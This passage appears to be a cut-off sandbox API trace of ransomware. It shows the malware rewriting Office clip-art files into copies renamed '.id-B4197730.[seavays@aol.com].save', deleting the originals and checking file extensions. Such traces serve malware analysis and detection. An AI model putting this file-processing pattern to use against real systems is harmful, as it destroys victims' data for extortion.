(hObject=0x35c) returned 1 [0209.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 0x220 [0209.064] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.065] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.065] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.065] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.066] GetLastError () returned 0x0 [0209.066] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x3ee8, lpOverlapped=0x0) returned 1 [0209.068] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x3ef0, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x3ef0, lpOverlapped=0x0) returned 1 [0209.070] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.070] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.070] SetEndOfFile (hFile=0x368) returned 1 [0209.071] CloseHandle (hObject=0x368) returned 1 [0209.071] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.071] SetEndOfFile (hFile=0x35c) returned 1 [0209.072] CloseHandle (hObject=0x35c) returned 1 [0209.072] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.073] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0101980.wmf")) returned 1 [0209.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.073] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.073] lstrlenW (lpString=".doc") returned 4 [0209.073] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString=".docx") returned 5 [0209.074] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.074] lstrlenW (lpString=".pdf") returned 4 [0209.074] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString=".xls") returned 4 [0209.074] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.074] lstrlenW (lpString=".xlsx") returned 5 [0209.074] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.074] lstrlenW (lpString=".ppt") returned 4 [0209.074] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.074] lstrlenW (lpString=".zip") returned 4 [0209.074] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.074] lstrlenW (lpString=".rar") returned 4 [0209.074] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString=".bz2") returned 4 [0209.074] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString=".7z") returned 3 [0209.074] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.074] lstrlenW (lpString=".dbf") returned 4 [0209.074] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.074] lstrlenW (lpString=".1cd") returned 4 [0209.074] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.074] lstrlenW (lpString=".jpg") returned 4 [0209.074] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.074] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.075] lstrlenW (lpString=".doc") returned 4 [0209.075] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.075] lstrlenW (lpString=".docx") returned 5 [0209.075] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0209.075] lstrlenW (lpString=".pdf") returned 4 [0209.075] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.075] lstrlenW (lpString=".xls") returned 4 [0209.075] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.075] lstrlenW (lpString=".xlsx") returned 5 [0209.075] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0209.075] lstrlenW (lpString=".ppt") returned 4 [0209.075] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.075] lstrlenW (lpString=".zip") returned 4 [0209.075] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.075] lstrlenW (lpString=".rar") returned 4 [0209.075] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.075] lstrlenW (lpString=".bz2") returned 4 [0209.075] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.075] lstrlenW (lpString=".7z") returned 3 [0209.075] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.075] lstrlenW (lpString=".dbf") returned 4 [0209.075] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.075] lstrlenW (lpString=".1cd") returned 4 [0209.075] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.075] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0101980.WMF") returned 68 [0209.075] lstrlenW (lpString=".jpg") returned 4 [0209.075] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.076] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.076] lstrlenW (lpString="J0102002.WMF") returned 12 [0209.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.076] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=15988) returned 1 [0209.076] CloseHandle (hObject=0x35c) returned 1 [0209.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 0x220 [0209.076] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.077] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.077] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.077] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.078] GetLastError () returned 0x0 [0209.078] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x3e74, lpOverlapped=0x0) returned 1 [0209.080] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x3e80, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x3e80, lpOverlapped=0x0) returned 1 [0209.081] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.081] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.081] SetEndOfFile (hFile=0x368) returned 1 [0209.081] CloseHandle (hObject=0x368) returned 1 [0209.081] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.082] SetEndOfFile (hFile=0x35c) returned 1 [0209.083] CloseHandle (hObject=0x35c) returned 1 [0209.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.083] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102002.wmf")) returned 1 [0209.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.084] lstrlenW (lpString=".doc") returned 4 [0209.084] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.084] lstrlenW (lpString=".docx") returned 5 [0209.084] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.084] lstrlenW (lpString=".pdf") returned 4 [0209.084] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.084] lstrlenW (lpString=".xls") returned 4 [0209.084] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.084] lstrlenW (lpString=".xlsx") returned 5 [0209.084] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.084] lstrlenW (lpString=".ppt") returned 4 [0209.084] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.084] lstrlenW (lpString=".zip") returned 4 [0209.084] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.084] lstrlenW (lpString=".rar") returned 4 [0209.084] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.084] lstrlenW (lpString=".bz2") returned 4 [0209.084] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.084] lstrlenW (lpString=".7z") returned 3 [0209.084] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.084] lstrlenW (lpString=".dbf") returned 4 [0209.084] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.084] lstrlenW (lpString=".1cd") returned 4 [0209.085] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.085] lstrlenW (lpString=".jpg") returned 4 [0209.085] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.085] lstrlenW (lpString=".doc") returned 4 [0209.085] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.085] lstrlenW (lpString=".docx") returned 5 [0209.085] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1 [0209.085] lstrlenW (lpString=".pdf") returned 4 [0209.085] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.085] lstrlenW (lpString=".xls") returned 4 [0209.085] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.085] lstrlenW (lpString=".xlsx") returned 5 [0209.085] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1 [0209.085] lstrlenW (lpString=".ppt") returned 4 [0209.085] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.085] lstrlenW (lpString=".zip") returned 4 [0209.085] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.085] lstrlenW (lpString=".rar") returned 4 [0209.085] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.085] lstrlenW (lpString=".bz2") returned 4 [0209.085] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.085] lstrlenW (lpString=".7z") returned 3 [0209.085] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.085] lstrlenW (lpString=".dbf") returned 4 [0209.085] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.086] lstrlenW (lpString=".1cd") returned 4 [0209.086] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102002.WMF") returned 68 [0209.086] lstrlenW (lpString=".jpg") returned 4 [0209.086] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.086] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.086] lstrlenW (lpString="J0102594.WMF") returned 12 [0209.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.086] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=27000) returned 1 [0209.086] CloseHandle (hObject=0x35c) returned 1 [0209.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 0x220 [0209.086] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.087] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.087] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0209.088] GetLastError () returned 0x0 [0209.088] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x6978, lpOverlapped=0x0) returned 1 [0209.501] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0x6980, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0x6980, lpOverlapped=0x0) returned 1 [0209.503] ReadFile (in: hFile=0x35c, lpBuffer=0x33cb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e2fecc, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesRead=0x2e2fecc*=0x0, lpOverlapped=0x0) returned 1 [0209.503] WriteFile (in: hFile=0x368, lpBuffer=0x33cb020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e2fc94, lpOverlapped=0x0 | out: lpBuffer=0x33cb020*, lpNumberOfBytesWritten=0x2e2fc94*=0xec, lpOverlapped=0x0) returned 1 [0209.504] SetEndOfFile (hFile=0x368) returned 1 [0209.504] CloseHandle (hObject=0x368) returned 1 [0209.504] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e2fec0 | out: lpNewFilePointer=0x0) returned 1 [0209.504] SetEndOfFile (hFile=0x35c) returned 1 [0209.505] CloseHandle (hObject=0x35c) returned 1 [0209.505] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0209.506] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0102594.wmf")) returned 1 [0209.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.506] lstrlenW (lpString=".doc") returned 4 [0209.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.507] lstrlenW (lpString=".docx") returned 5 [0209.507] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.507] lstrlenW (lpString=".pdf") returned 4 [0209.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.507] lstrlenW (lpString=".xls") returned 4 [0209.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.507] lstrlenW (lpString=".xlsx") returned 5 [0209.507] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.507] lstrlenW (lpString=".ppt") returned 4 [0209.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.507] lstrlenW (lpString=".zip") returned 4 [0209.507] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.507] lstrlenW (lpString=".rar") returned 4 [0209.507] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.507] lstrlenW (lpString=".bz2") returned 4 [0209.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.507] lstrlenW (lpString=".7z") returned 3 [0209.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.507] lstrlenW (lpString=".dbf") returned 4 [0209.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.507] lstrlenW (lpString=".1cd") returned 4 [0209.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.508] lstrlenW (lpString=".jpg") returned 4 [0209.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.508] lstrlenW (lpString=".doc") returned 4 [0209.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0209.508] lstrlenW (lpString=".docx") returned 5 [0209.508] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0209.508] lstrlenW (lpString=".pdf") returned 4 [0209.508] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0209.508] lstrlenW (lpString=".xls") returned 4 [0209.508] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0209.508] lstrlenW (lpString=".xlsx") returned 5 [0209.508] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0209.508] lstrlenW (lpString=".ppt") returned 4 [0209.508] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0209.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.508] lstrlenW (lpString=".zip") returned 4 [0209.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0209.508] lstrlenW (lpString=".rar") returned 4 [0209.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0209.508] lstrlenW (lpString=".bz2") returned 4 [0209.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0209.509] lstrlenW (lpString=".7z") returned 3 [0209.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0209.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.509] lstrlenW (lpString=".dbf") returned 4 [0209.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0209.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.509] lstrlenW (lpString=".1cd") returned 4 [0209.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0209.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0102594.WMF") returned 68 [0209.509] lstrlenW (lpString=".jpg") returned 4 [0209.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0209.509] lstrcmpiW (lpString1=".WMF", lpString2=".save") returned 1 [0209.509] lstrlenW (lpString="J0105230.WMF") returned 12 [0209.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c [0209.510] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x2e2ff14 | out: lpFileSize=0x2e2ff14*=5172) returned 1 [0209.510] CloseHandle (hObject=0x35c) returned 1 [0209.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf")) returned 0x220 [0209.510] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0105230.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0105230.wmf.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0209.510] CreateFileW (lpFileName="C:\\Program Files\\Microsoft 